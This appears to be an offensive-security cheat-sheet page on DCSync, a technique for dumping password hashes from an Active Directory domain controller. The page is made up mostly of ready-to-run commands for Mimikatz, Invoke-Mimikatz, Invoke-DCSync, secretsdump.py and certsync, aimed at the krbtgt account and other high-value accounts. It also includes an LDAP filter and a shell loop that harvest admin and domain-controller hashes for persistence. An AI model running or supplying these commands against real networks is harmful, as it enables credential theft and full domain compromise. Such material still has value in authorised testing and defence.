# DCSync

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync>
* <https://habr.com/ru/company/rvision/blog/709866/>
* <https://habr.com/ru/company/rvision/blog/709942/>
* <https://nullg0re.com/2023/09/hijacking-someone-else-dcsync/>

{% embed url="<https://twitter.com/cnotin/status/1419944965443047424>" %}

{% embed url="<https://twitter.com/NotMedic/status/1535768397493026818>" %}

## Tools

### Mimikatz

```
mimikatz # lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt
mimikatz # lsadump::dcsync /domain:megacorp.local /user:krbtgt@megacorp.local
```

#### Invoke-Mimikatz

* <https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1>

```
PS > Invoke-Mimikatz -Command '"lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt" "exit"'
```

### Invoke-DCSync.ps1

* <https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-DCSync.ps1>

```
PS > Invoke-DCSync -GetComputers -Domain megacorp.local -DomainController DC1.megacorp.local
```

### DCSyncer

* <https://www.notsoshant.io/tools/dcsyncer/>
* <https://github.com/notsoshant/DCSyncer>

### secretsdump.py

```
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt'
$ secretsdump.py DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```

#### Targeted DCSync

When performing targeted DCSync (e. g., for persistence purposes) choose the most valuable accounts. One can use the following LDAP query to search for effective domain admins (`adminCount=1`) as well as DC computer accounts (`SERVER_TRUST_ACCOUNT` bit or `userAccountControl=8192` is set):

```
(&
	(|
		(&(objectCategory=person)(objectClass=user))
		(&(objectCategory=computer)(objectClass=computer))
	)
	(!(userAccountControl:1.2.840.113556.1.4.803:=2))
	(|
		(adminCount=1)
		(userAccountControl:1.2.840.113556.1.4.803:=8192)
	)
)

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'DC1$' --hash fc525c9683e8fe067095ba2ddc971889 -m custom --filter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attrs msDS-PrincipalName | grep msDS | awk '{print $2}' | tee high-value-targets.txt
$ for t in `cat high-value-targets.txt`; do secretsdump.py -pwd-last-set MEGACORP/'DC1$'@192.168.2.22 -hashes :fc525c9683e8fe067095ba2ddc971889 -just-dc-user $t | grep aad3b | tee -a high-value-hashes.txt; done
Or
$ secretsdump.py -pwd-last-set MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -ldapfilter '(&(|(&(objectCategory=person)(objectClass=user))(&(objectCategory=computer)(objectClass=computer)))(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=8192)))' | grep aad3b | tee high-value-hashes.txt
```

### certsync

* <https://github.com/zblurx/certsync>

```
$ certsync -d megacorp.local -u snovvcrash -p 'Passw0rd!' -dc-ip 192.168.1.11 -ns 192.168.1.11
```


---

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